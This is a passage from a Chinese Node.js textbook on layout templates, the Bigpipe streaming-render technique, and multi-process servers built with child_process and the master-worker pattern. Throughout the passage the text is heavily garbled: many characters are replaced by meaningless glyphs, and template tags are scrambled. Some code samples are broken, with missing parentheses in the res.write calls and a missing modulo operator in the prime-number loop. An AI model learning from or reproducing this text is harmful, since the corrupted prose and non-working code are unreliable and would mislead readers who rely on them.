是ݟ౦在多个ྗഴ౛中只是ࢥ入的ߔ᜼图不Վ，ഴ౛内ࠓԁ߸К一样，也会Ѣဗ᧗复。ඊݟ下᭦

ˏ个ኤӬ的ྗഴ౛Ὑ 
// 模板1 
<ul> 
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  <  users.forEach(function(user){ >% %  

    <  include user/show >% %  

  <  }) >% %  

</ul> 

// 模板2 
<ul> 

  <  users.forEach(function(user){ >% %  

    <  include profile >% %  

  <  }) >% %  

</ul> 

这些᧗复的内ࠓ˞要用౎ࡌ࣊，为了能࠱这些ࡌ࣊ഴ౛᧗用起౎，ഴ౛技术ॸᮋஂ૆ࡌ࣊᜼

图。ஂ ૆ࡌ࣊᜼图之后，ࡌ࣊ഴ౛就只有一͊，ມ౿᜼图时，ૈ 定好ࡌ࣊᜼图就可以了，ݟ下੝ᇧὙ 

res.render('viewname', { 

  layout: 'layout.html', 

  users: [] 

}); 

对于ࡌ࣊ഴ౛஠͇，我们᝹᝟为࠱<%- body >% 部分ఢ૰为我们的ߔഴ౛，ݟ下੝ᇧὙ 

<ul> 

  <  users.forEach% (function(user){ >%  

    <%- body >%  

  <  }) >% %  

</ul> 

ఢ૰̼ᆉݟ下Ὑ 

var renderLayout = function (str, viewname) { 

  return str.replace(/<%-\s*body\s* >/g, function (match, code) {%  

    if (!cache[viewname]) { 

      cache[viewname] = fs.readFileSync(fs.join(VIEW_FOLDER, viewname), 'utf8'); 

    } 

    return cache[viewname]; 

  }); 

}; 

最ጻᬶ੆ᤈres.render()ѥ数，ݟ下੝ᇧὙ 

res.render = function (viewname, data) { 

  var layout = data.layout; 

  if (layout) { 

    if (!cache[layout]) { 

      try { 

        cache[layout] = fs.readFileSync(path.join(VIEW_FOLDER, layout), 'utf8'); 

      } catch (e) { 

        res.writeHead(500, {'Content-Type': 'text/html'}); 

        res.end('布局文件错误'); 

        return; 

      } 

    } 

  } 

  var layoutContent = cache[layout] || '<%-body >';%  

 

  var replaced; 
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  try { 

    replaced = renderLayout(layoutContent, viewname); 

  } catch (e) { 

    res.writeHead(500, {'Content-Type': 'text/html'}); 

    res.end('模板文件错误'); 

    return; 

  } 

  // 将模板和布局文件名做key缓存 

  var key = viewname + ':' + (layout || ''); 

  if (!cache[key]) { 

    // 编译模板 

    cache[key] = cache(replaced); 

  } 

  res.writeHead(200, {'Content-Type': 'text/html'}); 

  var html = cache[key](data); 

  res.end(html); 

}; 

 下੝ᇧὙݟ，஠͇ࡌ࣊实ဗ᧗用ڠ൤，我们可以ᣏౚݟ
res.render('user', { 

  layout: 'layout.html', 

  users: [] 

}); 

// ई者 

res.render('profile', { 

  layout: 'layout.html', 

  users: [] 

}); 

7. ῵ᵓᗻ㛑 
从前஠的实ဗጹᓫ中我们可以ᄹ到一些ഴ౛ल୲的优Ӑ൥ᰠ，˞要有ݟ下几ሗ。 
� ᎀߚഴ౛஠͇。 
� ᎀߚഴ౛஠͇编ដ后的ѥ数。 
߸੆上ᤗˏ个൥ᰠ之后，ມ౿的性能与生੆的ѥ数ᄯ接相关，这个ѥ数与ഴ౛ߙቿ˘的复杂

ऎ有ᄯ接关系。ݟ౦在ഴ౛中编写了੯ᛠᛪ᣹य，੯ᛠᛪ᣹य的性能࠱ᄯ接ॕֽഴ౛的性能。优

Ӑ੯ᛠᛪ᣹य就是对ഴ౛性能的优Ӑ，੝以加入一్优Ӑ൥ᰠὙ 
z ͕Ӑഴ౛中的੯ᛠᛪ᣹式 
ᬓ了这几个࣡᜸的ழ಴外，ഴ౛ल୲的实ဗ也与性能相关。本ᓫ的实ဗ中᧓用了new 

Function()，事实上还可以使用eval()὚对于ߙቿ˘ူܪ，本ᓫ中用的是ߙቿ˘ᄯ接相加，有的

ഴ౛ल୲᧓用数组ߚϱ的ழय，最后࠱੝有ߙቿ˘相ᤋ。对于Ԫ量的ಉ੼，本ᓫ᧓用的是with्

੆作用۪的ழय实ဗ了ಉ੼，有的ഴ౛ल୲᧓用了本ᓫኃ一ሗழय，Ԁૈ定Ԫ量Տ的ழय（obj. 

username）ಉ੼，ૈ 定Ԫ量Ꮺ不用with可以ђ࠵Ѭ૰上下஠。这些ጹᓫ都是ॕֽഴ౛ᤳऎ的因ገ。

由于ဗ有ഴ౛ल୲数量ࢼ多，൤ܪ不в做ඊᣖ。 
8. ᇣ㒧 
ഴ౛技术的Ѣဗ，࠱ˉ务开发与HTMLᣤѢ的工作分ሎ开౎，它的᝹᝟ԓူ就是Ӭ一ᐋ᠉ԓ

ူ。这与MVC中的数૵、᤾ᣣ、᜼图分ሎݟѢ一ᣪ，ఝ与前端HTML、CSS、JavaScript分ሎ的᝹
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᝟ူএ一ᒰ，ᝧ᜼᜿、ፆౝ、᤾ᣣ分ሎ开౎。ᬣ着Node的Ѣဗ，ഴ౛能ܴ在前后端Р用实在是ܹ

ࠬ࣡不过的事情，甚至都不用Ԝ᧗复实ဗल୲。本ᓫ̭ፀ了ഴ౛的۲本ԓူ，ݟ今ՉሗՉ样的ഴ

౛Хܫ不Վ的ྱ性֖性能。最ᅻՏ的有EJS、Jadeኍ，它们在ഴ౛语言的᝹᝟上Չ不相Վ，EJS是

ASP、PHP、JSP᮲ಪ的ഴ౛ಕኣ，JadeѶዜͪPython、Ruby的᮲ಪ。 
本ᓫ̭ፀ了ഴ౛技术的实ဗጹᓫ，读者可以૊ཱ本ᓫ的ধᡸ实ဗ自己的ഴ౛ल୲，也可以使

用EJS、Jadeኍ੆熟的ഴ౛ल୲，ᬓ了上ᤗଡԢ的，还有过໙٧ኍҩ能。 

8.5.4� Bigpipe 

这个Տជ与在ኃ4ብ中ଡ到的Bagpipeඊᣖ相ͪ，不过Bagpipe的Ꮱដ为᮲ቺ，是用于ុ用ᬌึ

的。൤ܪ的Bigpipe是产生于FacebookМՂ的前端加ᣑ技术，它的ଡѢ˞要是为了解决᧗数૵页᭦

的加ᣑᤳऎ问题，在2010年的Velocity会ᝫ上，ॆ时౎自Facebook的ᗗ᫁์Ў生分享了ឞᝫ题，

ᬣ后ल起了国内ˉႌࢼ大的反ֽ。 
这᧖以一个ኤӬ的Βߔឬ௙下前஠ଡ到的MVC֖ഴ౛技术໷在的问题Ὑ 

app.get('/profile', function (req, res) { 

  db.getData('sql1', function (err, users) { 

    db.getData('sql2', function (err, articles) { 

      res.render('user', { 

        layout: 'layout.html', 

        users: users, 

        articles: articles 

      }); 

    }); 

  }); 

}); 

这个Βߔ中，我们ມ౿profile页᭦ᭉ要ᖌԨusers֖articles数૵，ཨ后᤯过ࡌ࣊஠͇layout

֖ഴ౛஠͇user，最ጻ发Ѣ页᭦到เ᜾٧端。ଅᬓ૿ഴ౛஠͇֖ࡌ࣊஠͇可能Վ൥的ॕֽ，࠱௃

Ιᠺ的数૵ᖌԨ᤯过EventProxy解开，ݟ下੝ᇧὙ 

app.get('/profile', function (req, res) { 

  var ep = new EventProxy(); 

  ep.all('users', 'articles', function (users, articles) { 

    res.render('user', { 

      layout: 'layout.html', 

      users: users, 

      articles: articles 

    }); 

  }); 

  ep.fail(function (err) { 

    res.render('err', {message: err.message}); 

  }); 

  db.getData('sql1', ep.done('users')); 

  db.getData('sql2', ep.done('articles')); 

}); 

至൤还ߚ在的问题是̣˥὞ 
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问题在于我们的页᭦，最ጻ的HTML要在੝有的数૵ᖌԨ߸੆后才ᣤѢ到เ᜾٧端。Node
᤯过ऩ൥已经࠱多个数૵源的ᖌԨ并ᛠ起౎了，最ጻ的页᭦ᣤѢᤳऎԨ决于ˏ个数૵请ය中ֽ应

时ᫍਤ的ᥦ个。在数૵ֽ应之前，用ਖ਼ᄹ到的是ቆᄆ页᭦，这是Ӡ分不友好的用ਖ਼ͳᰍ。 
Bigpipe的解决ধᡸѶ是࠱页᭦分Ҟ੆多个部分（pagelet），ЎՓ用ਖ਼ᣤѢ没有数૵的ࡌ࣊（ಳ

౵），࠱ඇ个部分ᤩ൥ᣤѢ到前端，в最ጻມ౿܌Ќಳ౵，߸੆ஞ个网页的ມ౿。这个过程中ᭉ

要前端JavaScript的ԟ与，它᠆᠉࠱后续ᣤѢ的数૵ມ౿到页᭦上。 
Bigpipe是一个ᭉ要前后端ᦠՋ实ဗ的优Ӑ技术，这个技术有几个᧗要的ཁ。 
� 页᭦ࡌ࣊ಳ౵（௃数૵的）。 
� 后端૆续性的数૵ᣤѢ。 
� 前端ມ౿。 
Bigpipe的ມ౿ึ程ᇧ਒图ݟ图8-8੝ᇧ。 

 

图8-8 Bigpipe的ມ౿ึ程ᇧ਒图 

1. 义䴶ᏗሔḚᶊ 
页᭦ࡌ࣊ಳ౵Ιཨ由后端ມ౿ᏪѢ，ݟ下੝ᇧὙ 
var cache = {}; 

var layout = 'layout.html'; 

 

app.get('/profile', function (req, res) { 

  if (!cache[layout]) { 

    cache[layout] = fs.readFileSync(path.join(VIEW_FOLDER, layout), 'utf8'); 

  } 

 

  res.writeHead(200, {'Content-Type': 'text/html'}); 

  res.write(render(complie(cache[layout]))); 

  // TODO 
}); 

这个ࡌ࣊஠͇中要ल入ॸ要的前端脚本，ݟjQuery、Underscoreኍ࣡用ं，Ф次要ल入我们

᧗要的前端脚本，这᧖的஠͇Տ为bagpipe.js。ஞͳഴ౛஠͇ݟ下੝ᇧὙ 
// layout.html 

<!DOCTYPE html> 

<html> 
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<head> 

  <title>Bagpipe๖૩</title> 

  <script src="jquery.js"></script> 

  <script src="underscore.js"></script> 

  <script src="bigpipe.js"></script> 

</head> 

<body> 

  <div id="body"></div> 

  <script type="text/template" id="tpl_body"> 

    <div>< =articles ></div>% %  

  </script> 

  <div id="footer"></div> 

  <script type="text/template" id="tpl_footer"> 

    <div>< =users ><% % /div> 

  </script> 

</body> 

</html> 

<script> 

  var bigpipe = new Bigpipe(); 

  bigpipe.ready('articles', function (data) { 

    $('#body').html(_.render($('#tpl_body').html(), {articles: data})); 

  }); 

  bigpipe.ready('copyright', function (data) { 

    $('#footer').html(_.render($('#tpl_footer').html(), {users: data})); 

  }); 

</script> 

2. ᣕ㓁᭄᥂䕧ߎ 
ഴ౛ᣤѢ后，ஞ个网页的ມ౿并没有ፆో，ͭ用ਖ਼已经可以ᄹ到ஞ个页᭦的大ͳ样ߔ。接下

౎我们继续数૵ᣤѢ，与௾᤯的数૵ᣤѢ不Վ，这᧖的数૵ᣤѢ之后ᭉ要ᜁ前端脚本ူܪ，是஋

ᭉ要对它ᤈᛠ࠯ᜈݟ，ူܪ下੝ᇧὙ 
app.get('/profile', function (req, res) { 

  if (!cache[layout]) { 

    cache[layout] = fs.readFileSync(path.join(VIEW_FOLDER, layout), 'utf8'); 

  } 

 

  res.writeHead(200, {'Content-Type': 'text/html'}); 

  res.write(render(complie(cache[layout]))); 

  ep.all('users', 'articles', function () { 

    res.end(); 

  }); 

  ep.fail(function (err) { 

    res.end(); 

  }); 

  db.getData('sql1', function (err, data) { 

    data = err ? {} : data; 

    res.write('<script>bigpipe.set("articles", ' + JSON.stringify(data) + ');</script>'; 

  }); 

  db.getData('sql2', function (err, data) { 

    data = err ? {} : data; 

    res.write('<script>bigpipe.set("copyright", ' + JSON.stringify(data) + ');</script>'; 

  }); 

}); 
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对于ᭉ要ມ౿到页᭦上的数૵，它的࠯ᜈݟ下Ὑ 

res.write('<script>bigpipe.set("articles", ' + JSON.stringify(data) + ');</script>'; 

这样最ጻHTML̼ᆉ的ࣄࡊ上还应ឞ有ݟ下这样的̼ᆉὙ 

<script>bigpipe.set("articles", "I am article");</script> 

<script>bigpipe.set("copyright", "I am copyright");</script> 

这ˏᛠ̼ᆉ的ᮊ序Ԩ决于ឹЎ߸੆ˏ次ऩ൥ុ用。由于Node᭣᫽܊的ྱ性，多次ऩ൥ុ用可

以并ᛠ੯ᛠ，ឹЎፆోឹ就可以ঋᤳ推ᤞ到HTML页᭦上，ᬣ着前端脚本的੯ᛠ，就可以ఝঋڠ

ມ౿到页᭦上。 
相ඊFacebookԓ始的Bigpipe应用在PHP这ዜ᫽܊य环境中，Node在数૵ᖌԨ上可以并ᛠᤈ

ᛠ，使३BigpipeఝХ஌౦。 
3. ࠡッ␆ᶧ 
前஠的bigpipe.ready()֖bigpipe.set()是ஞ个前端的ມ౿机҃，前者以一个keyซб一个事

͇，后者Ѷ触发一个事͇，以൤߸੆页᭦的ມ౿机҃。这ˏ个ѥ数定˦在bigpipe.js஠͇中，ݟ下

੝ᇧὙ 
var Bigpipe = function () { 

  this.callbacks = {}; 

}; 

 

Bigpipe.prototype.ready = function (key, callback) { 

  if (!this.callbacks[key]) { 

    this.callbacks[key] = []; 

  } 

  this.callbacks[key].push(callback); 

}; 

 

Bigpipe.prototype.set = function (key, data) { 

  var callbacks = this.callbacks[key] || []; 

  for (var i = 0; i < callbacks.length; i++) { 

    callbacks[i].call(this, data); 

  } 

}; 

4. ᇣ㒧 
Bigpipe࠱网页֖ࡌ࣊数૵ມ౿分ሎ，使३用ਖ਼在᜼᜿上᜿३网页ଡ前ມ౿好了，Фᬣ着数૵

ᣤѢ的过程ᤩ൥ມ౿页᭦，使३用ਖ਼能ܴਕᅻ到页᭦是活的。这ᤉඊ一开始ፋѢቆᄆ页᭦，ཨ后

在౼个时候቉ཨມ౿好ࣛፋ用ਖ਼的ͳᰍఝ好。Node在这个过程中，Фऩ൥ྱ性使३数૵的ᣤѢ能

ܴ并ᛠ，数૵的ᣤѢ与数૵ុ用的ᮊ序௃关，ᡔ௉ុ用߸的数૵可以ᡔ௉ມ౿到页᭦中，这个ྱ

性使३Bigpipeఝᡕ߸Ꮎ。 
要߸੆Bigpipe这样ᤩ൥ມ౿页᭦的过程，Ф实᤯过Ajax也能߸੆，ͭ是Ajax的ᐿ后是HTTP

ុ用，要Ᏹ᠟ఝ多的网ፎᤋ接，BigpipeᖌԨ数૵Ѷ与ॆ前页᭦Р用相Վ的网ፎᤋ接，开ᩘӠ分小。 
߸੆Bigpipe੝要๗Ԣ的ጹᓫᣖ多，ඊMVC中的ᄯ接ມ౿要复杂᝴多，तᝫ在网ቢ᧗要的且

数૵请ය时ᫍᣖ᫁的页᭦中使用。 
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8.6� ᘏ㒧 

本ብ๗Ԣ的内ࠓᣖ为˗ࠜ，在Web应用的ஞ个ౝत过程中，从ူܪ请ය到ֽ应请ය的ஞ个过

程都有ԓူ性᫧ᤗ，ஞူ本ብጹᓫ就可以߸੆一个ҩ能߸ܫ的Web开发ಳ౵。过Ԝ的ՉሗWeb技

术，ᬣ着ಳ౵֖ं的੆ۋ，开发者ज़ज़ᤙዹڠᅻ᥊应用ಳ౵֖ं，ԁ不ᅻ᥊ጹᓫ的实ဗ，这好ඊ

没有ڠ图ԁ在᧘ڠ᧖ᛠᤈ。本ብ的内࣎ࠓభ能为Node开发者ࣛ౎ڠ图ͪ的ը发，在开发Web应用

时能ܴ心有ᣂज，௙了ጹॱ。 
ဗ在ᅻՏ֖੆熟的Webಳ౵有Connect、Expressኍ，本ብ中的内ࠓ在这些ಳ౵中都有实ဗ，

因为ᛠ஠的ԓ因，本ብ中的̼ᆉ实ဗ३ᣖ为ዣዿ，实ᬄ使用请使用这些੆熟的ಳ౵。 

8.7� খ㗗䌘⑤ 

本ብԟᏥ的ᠪ源ݟ下Ὑ 
� http://tools.ietf.org/html/rfc3875 
� http://tools.ietf.org/html/rfc2069 
� http://www.ietf.org/rfc/rfc1867.txt 
� http://en.wikipedia.org/wiki/Cross-site_request_forgery 
� https://github.com/senchalabs/connect/blob/master/lib/middleware/csrf.js 
� http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller 
� http://www.ibm.com/developerworks/webservices/library/ws-restful/ 
� http://en.wikipedia.org/wiki/Middleware 
� http://mustache.github.io/ 
� https://github.com/joyent/node/wiki/modules#wiki-templating 
� https://developer.mozilla.org/zh-CN/docs/JavaScript/Reference/Global_Objects/Function 
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⥽䕀䖯⿟ 

 
Node在ᤤۋ时决定在V8ल୲之上ౝत，也就਒։着它的ഴۋ与เ᜾٧ዜͪ。我们的JavaScript

是Ὑ程序࿃খ是Ӭ一的，在没有多线程的情хܪ会ᤁᛠ在Ӭ个ᤈ程的Ӭ个线程上。它ࣛ౎的好࠱

下没有ᩙ、线程Վ൥问题，ୱ作系统在ុऎ时也因为ᣖ࠵上下஠的Ѭ૰，可以很好ڠଡ高CPU的

使用ည。 
ͭ是Ӭᤈ程Ӭ线程并᭣߸Ꮎ的ፆౝ，ݟ今CPU۲本ڨ是多ನ的，ᄽൣ的服务٧（᭣VPS）ज़

ज़还有多个CPU。一个Nodeᤈ程只能ѽ用一个ನ，这࠱ઊѢNode实ᬄ应用的ኃ一个问题Ὑݟʹ

ЌѫѽၸܲನCPUనҫ٧὞ 
Բ外，由于Node੯ᛠ在Ӭ线程上，一ெӬ线程上ઊѢ的ऩ࣡没有ᜁ૬ᖌ，࠱会ल起ஞ个ᤈ程

的࢜ຳ。这ፋNode的实ᬄ应用ઊѢ了ኃ̃个问题Ὑݟʹγ᝼ᤈር的ϣܤব֖ሶ定ব὞ 
在这ˏ个问题中，前者只是ѽ用ည不ᡛ的问题，后者对于实ᬄ产品Ӑࣛ౎一定的ᮎᘼ。本ብ

关于ᤈ程的̭ፀ֖ᝦ᝶࠱会解决૿这ˏ个问题。 
从ːಪ的਒˦上Ꮺ言，Node并᭣ᄽൣ的Ӭ线程౵ౝ，在ኃ3ብ中我们有ԫᤗ过Node自ᢵ还有

一定的I/O线程ߚ在，这些I/O线程由ऄࡎlibuvူܪ，这部分线程对于JavaScript开发者Ꮺ言是ᤨ௙

的，只在C++ੰࡘ开发时才会关ซ到。JavaScript̼ᆉබᤉᤁᛠ在V8上，是Ӭ线程的。本ብډ࠱

ፈJavaScript部分ࡘ开，੝以ࡕᘈऄࡎጹᓫ的ᝦ᝶。 

9.1� ᳡ࡵ῵ൟⱘব䖕 

从þ԰ÿ到今，Web服务٧的౵ౝ已经Ԋ了几次Ԫ᣺。服务ူܪ٧客ਖ਼端请ය的并发量，就

是ඇ个᧖程ᆿ的᜸᝼。 

9.1.1� ⷇఼ᯊҷ˖ৠℹ 

最௉的服务٧，Ф੯ᛠഴۋ是Վ൥的，它的服务ഴय是一次只为一个请ය服务，੝有请ය都

३૊次序ኍय़服务。这਒։ᬓ了ॆ前的请යᜁူܪ外，Ф余请ය都ܪ于ᐄឧ的࿃খ。它的ူܪ能

Ҧ相ॆͯ下，ϛ᝹ඇ次ֽ应服务Ᏹ用的时ᫍሶ定为Nሙ，这ዜ服务的QPS为1/N。 
这ዜ౵ౝݟ今已۲本ᜁ淘෎，只在一些௃并发要ය的应用中ߚ在。 

第 � 章
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9.1.2� 䴦䪰ᯊҷ˖໡ࠊ䖯⿟ 

为了解决Վ൥౵ౝ的并发问题，一个ኤӬ的இᤈ是᤯过ᤈ程的复҃Վ时服务ఝ多的请ය֖用

ਖ਼。这样ඇ个ᤋ接都ᭉ要一个ᤈ程౎服务，Ԁ100个ᤋ接ᭉ要ը动100个ᤈ程౎ᤈᛠ服务，这是᭣

࣡௔᠛的̼͈。在ᤈ程复҃的过程中，ᭉ要复҃ᤈ程内部的࿃খ，对于ඇ个ᤋ接都ᤈᛠ这样的复

҃的ព，相Վ的࿃খ࠱会在内ߚ中ߚ在很多͊，ᤴ੆ํ᠟。并且这个过程由于要复҃ᣖ多的数૵，

ը动是ᣖ为ᎀਤ的。 
为了解决ը动ᎀਤ的问题，ᮔ复҃（prefork）ᜁल入服务ഴۋ中，ԀᮔЎ复҃一定数量的ᤈ

程。Վ时࠱ᤈ程复用，ᥗБᤈ程创त、ᩘංࣛ౎的开ᩘ。ͭ是这个ഴۋ并不Хͨܫ᎕性，一ெ并

发请ය过高，内ߚ使用ᬣ着ᤈ程数的ܘ᫁࠱会ᜁᏱࡉ。 
ϛ᝹᤯过ᤈᛠ复֖҃ᮔ复҃的ழयୃत的服务٧有ᠪ源的ᬌ҃，且ᤈ程数上ᬌ为M，ᥦ这ዜ

服务的QPS为M/N。 

9.1.3� ⱑ䫊ᯊҷ˖໮㒓⿟ 

为了解决ᤈ程复҃中的ํ᠟问题，多线程ᜁल入服务ഴۋ，ᝧ一个线程服务一个请ය。线程相

对ᤈ程的开ᩘ要小᝴多，并且线程之ᫍ可以Р享数૵，内ํߚ᠟的问题可以३到解决，并且ѽ用线

程෈可以ђ࠵创त֖ᩘං线程的开ᩘ。ͭ 是多线程੝᭦˙的并发问题只能ឬඊ多ᤈ程႔好，因为ඇ

个线程都઴有自己࿗立的۶ಖ，这个۶ಖ都ᭉ要ӳ用一定的内ߚቆᫍ。Բ外，由于一个CPUನ心在

一个时҈只能做一͇事情，ୱ作系统只能᤯过࠱CPUѬ分为时ᫍྞ的ழก，ᝧ线程可以ᣖ为ڨӈڠ

使用CPUᠪ源，ͭ是ୱ作系统内ನ在Ѭ૰线程的Վ时也要Ѭ૰线程的上下஠，ॆ线程数量过多时，

时ᫍ࠱会ᜁᏱ用在上下஠Ѭ૰中。੝以在大并发量时，多线程ፆౝ还是௃ก做到强大的ͨ᎕性。 
౦঒႔૿多线程上下஠Ѭ૰的开ᩘ，ϛ᝹线程੝ӳ用的ᠪ源为ᤈ程的1/L，ԩᠪ源上ᬌ的ݟ

ॕֽ，它的QPSѶ为M * L/N。 

9.1.4� 咘䞥ᯊҷ˖џӊ偅ࡼ 

多线程的服务ഴۋ服क़了很᫁一ൿ时ᫍ，Apache就是᧓用多线程/多ᤈ程ഴۋ实ဗ的，ॆ并

发ܘ᫁到上ʹ时，内ߚᏱ用的问题࠱会఑᭚Ѣ౎，这Ԁ是ᗂՏ的C10k问题。 
为了解决高并发问题，۲于事͇驱动的服务ഴۋѢဗ了，像Node与Nginxڨ是۲于事͇驱动

的ழय实ဗ的，᧓用Ӭ线程ᥗБ了不ॸ要的内ߚ开ᩘ֖上下஠Ѭ૰开ᩘ。 
۲于事͇的服务ഴߚۋ在的问题Ԁ是本ብ起始时ଡԢ的ˏ个问题ὙCPU的ѽ用ည֖ᤈ程的ϣ

ܤ以PHP最为ᅻՏ——在PHP中没有线程的ஂ૆。它的ϣ࠾᜸，Ф中࠵性。Ӭ线程的౵ౝ并不ܤ

性是由它ፋඇ个请ය都त立࿗立的上下஠౎实ဗ的。ͭ 是对于Node౎ឬ，੝有请ය的上下஠都是

统一的，它的ሶ定性是̏ᭉ解决的问题。 
由于੝有ူܪ都在Ӭ线程上ᤈᛠ，ॕֽ事͇驱动服务ഴۋ性能的ཁ在于CPU的᝟ኪ能Ҧ，它

的上ᬌ决定这ዜ服务ഴۋ的性能上ᬌ，ͭ 它不ԩ多ᤈ程੊多线程ഴय中ᠪ源上ᬌ的ॕֽ，可ͨ᎕

性ᤉඊ前ˏ者高。ݟ౦解决૿多ನCPU的ѽ用问题，ࣛ౎的性能上ଡӣ是可᜹的。 
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9.2� ໮䖯⿟ᶊᵘ 
᭦对Ӭᤈ程Ӭ线程对多ನ使用不ᡛ的问题，前人的经ᰍ是ը动多ᤈ程Ԁ可。ူ 想࿃খ下ඇ个

ᤈ程Չ自ѽ用一个CPU，以൤实ဗ多ನCPU的ѽ用。੝ࣳ，NodeଡΘ了child_processഴڰ，并

且也ଡΘ了child_process.fork()ѥ数Θ我们实ဗᤈ程的复҃。 
我们в一次࠱经Ц的ᇧΒ̼ᆉߚ为worker.js஠͇，ݟ下੝ᇧὙ 
var http = require('http'); 
http.createServer(function (req, res) { 
  res.writeHead(200, {'Content-Type': 'text/plain'}); 
  res.end('Hello World\n'); 
}).listen(Math.round((1 + Math.random()) * 1000), '127.0.0.1'); 

᤯过node worker.jsը动它，࠱会Νե1000到2000之ᫍ的一个ᬣ机端ԯ。 
 为master.js，并᤯过node master.jsը动它Ὑߚ以下̼ᆉ࠱

var fork = require('child_process').fork; 
var cpus = require('os').cpus(); 
for (var i = 0; i < cpus.length; i++) { 
  fork('./worker.js'); 
} 

这ൿ̼ᆉ࠱会಩૵ॆ前机٧上的CPU数量复҃Ѣ对应Nodeᤈ程数。在*nix系统下可以᤯过ps 

aux | grep worker.jsಉᄹ到ᤈ程的数量，ݟ下੝ᇧὙ 
$ ps aux | grep worker.js 
jacksontian 1475 0.0 0.0 2432768 600 s003 S+ 3:27AM 0:00.00 grep worker.js 
jacksontian 1440 0.0 0.2 3022452 12680 s003 S 3:25AM 0:00.14 /usr/local/bin/node ./worker.js 
jacksontian 1439 0.0 0.2 3023476 12716 s003 S 3:25AM 0:00.14 /usr/local/bin/node ./worker.js 
jacksontian 1438 0.0 0.2 3022452 12704 s003 S 3:25AM 0:00.14 /usr/local/bin/node ./worker.js 
jacksontian 1437 0.0 0.2 3031668 12696 s003 S 3:25AM 0:00.15 /usr/local/bin/node ./worker.js 

图9-1就是ᗂՏ的Master-Workerഴय，Ԡሥ˞从ഴय。图9-1中的ᤈ程分为ˏሗὙ˞ᤈ程֖工

作ᤈ程。这是Цۋ的分࣊य౵ౝ中用于并ᛠူܪˉ务的ഴय，Хܫᣖ好的可ͨ᎕性֖ሶ定性。˞

ᤈ程不᠆᠉Хͳ的ˉ务ူܪ，Ꮺ是᠆᠉ុऎ੊管ူ工作ᤈ程，它是ᡕՓ于ሶ定的。工作ᤈ程᠆᠉

Хͳ的ˉ务ူܪ，因为ˉ务的多ሗ多样，甚至一ᮉˉ务由多人开发߸੆，੝以工作ᤈ程的ሶ定性

Ϙ३开发者关ซ。 

 
图9-1 Master-Workerഴय 
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᤯过fork()复҃的ᤈ程都是一个࿗立的ᤈ程，这个ᤈ程中有着࿗立ᏪК新的V8实Β。它ᭉ要

至30࠵ඒሙ的ը动时֖ᫍ至10࠵ MB的内ࡉ。ߚ管NodeଡΘ了fork()Θ我们复҃ᤈ程使ඇ个CPU
内ನ都使用上，ͭ 是Ιཨ要Ѭ᝭fork()ᤈ程是௔᠛的。好在Node᤯过事͇驱动的ழय在Ӭ线程上

解决了大并发的问题，这᧖ը动多个ᤈ程只是为了Ќ分࠱CPUᠪ源ѽ用起౎，Ꮺ不是为了解决并

发问题。 

9.2.1� ߯ᓎᄤ䖯⿟ 

child_processഴڰፋ̀Node可以ᬣ਒创तߔᤈ程（child_process）的能Ҧ。它ଡΘ了4个ழ

ก用于创तߔᤈ程。 
� spawn()Ὑը动一个ߔᤈ程౎੯ᛠ̽֐。 
� exec()Ὑը动一个ߔᤈ程౎੯ᛠ̽֐，与spawn()不Վ的是Ф接ԯ不Վ，它有一个ុٿѥ

数ᖌᅻߔᤈ程的࿃х。 
� execFile()Ὑը动一个ߔᤈ程౎੯ᛠ可੯ᛠ஠͇。 
� fork()Ὑ与spawn()ዜͪ，不Վཁ在于它创तNode的ߔᤈ程只ᭉૈ定要੯ᛠ的JavaScript஠

͇ഴڰԀ可。 
spawn()与exec()、execFile()不Վ的是，后ˏ者创त时可以ૈ定timeout࡚性᝹Ꮅᡓ时时ᫍ，

一ெ创त的ᤈ程ᤁᛠᡓ过᝹定的时ᫍ࠱会ᜁ఼൪。 
exec()与execFile()不Վ的是，exec()᤟Ջ੯ᛠ已有的̽֐，execFile()᤟Ջ੯ᛠ஠͇。这᧖

我们以一个ࠬ࣡̽֐为Β，node worker.js分Ѿ用上ᤗ4ሗழก实ဗ，ݟ下੝ᇧὙ 

var cp = require('child_process'); 
cp.spawn('node', ['worker.js']); 
cp.exec('node worker.js', function (err, stdout, stderr) { 
  // some code 
}); 
cp.execFile('worker.js', function (err, stdout, stderr) { 
  // some code 
}); 
cp.fork('./worker.js'); 

以上4个ழก在创तߔᤈ程之后ڨ会ᤄߔٿᤈ程对៵。它们的ࢿѾ可以᤯过ᛪ9-1ಉᄹ。 

㸼9-1� 4⾡ᮍ⊩ⱘᏂ߿ 

㉏� � ൟ ಲ䇗/ᓖᐌ 䖯⿟㉏ൟ ᠻ㸠㉏ൟ ৃ䆒㕂䍙ᯊ 
spawn() × ͉਒ ̽֐ × 

exec() √ ͉਒ ̽֐ √ 

execFile() √ ͉਒ 可੯ᛠ஠͇ √ 

fork() × Node JavaScript஠͇ × 

 

这᧖的可੯ᛠ஠͇是ૈ可以ᄯ接੯ᛠ的஠͇，ݟ౦是JavaScript஠͇᤯过execFile()ᤁᛠ，它
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的ᯪᛠ内ࠓॸᮋຊ加ݟ下̼ᆉὙ 

#!/usr/bin/env node 

 。Ѿ，ͭ事实上后᭦3ሗழก都是spawn()的ढͨ应用ࢿᤈ程的ழय有些ߔ管4ሗ创तࡉ

9.2.2� 䖯⿟䯈䗮ֵ 

在Master-Workerഴय中，要实ဗ˞ᤈ程管ူ֖ុऎ工作ᤈ程的ҩ能，ᭉ要˞ᤈ程֖工作

ᤈ程之ᫍ的᤯信。对于child_processഴڰ，创त好了ߔᤈ程，ཨ后与ྗߔᤈ程ᫍ᤯信是Ӡ分

 。௛的ࠓ
在前端เ᜾٧中，JavaScript˞线程与UIມ౿Р用Վ一个线程。੯ᛠJavaScript的时候UIມ౿

是Ϣ໔的，ມ౿UI时，JavaScript是Ϣ໔的，ˏ者̈相᫽܊。᫁时ᫍ੯ᛠJavaScript࠱会ᤴ੆UIϢ
ᮏ不ֽ应。为了解决这个问题，HTML5ଡѢ了WebWorker API。WebWorkerЉ᝴创त工作线程并

在后Իᤁᛠ，使३一些᫽܊ᣖ为ː᧗的᝟ኪ不ॕֽ˞线程上的UIມ౿。它的APIݟ下੝ᇧὙ 

var worker = new Worker('worker.js'); 
worker.onmessage = function (event) { 
  document.getElementById('result').textContent = event.data; 
}; 

Ф中，worker.jsݟ下੝ᇧὙ 

var n = 1; 
search: while (true) { 
  n += 1; 
  for (var i = 2; i <= Math.sqrt(n); i += 1) 
    if (n  i == 0)%  
     continue search; 
  // found a prime 
  postMessage(n); 
} 

˞线程与工作线程之ᫍ᤯过onmessage()֖postMessage()ᤈᛠ᤯信，ߔᤈ程对៵Ѷ由send()

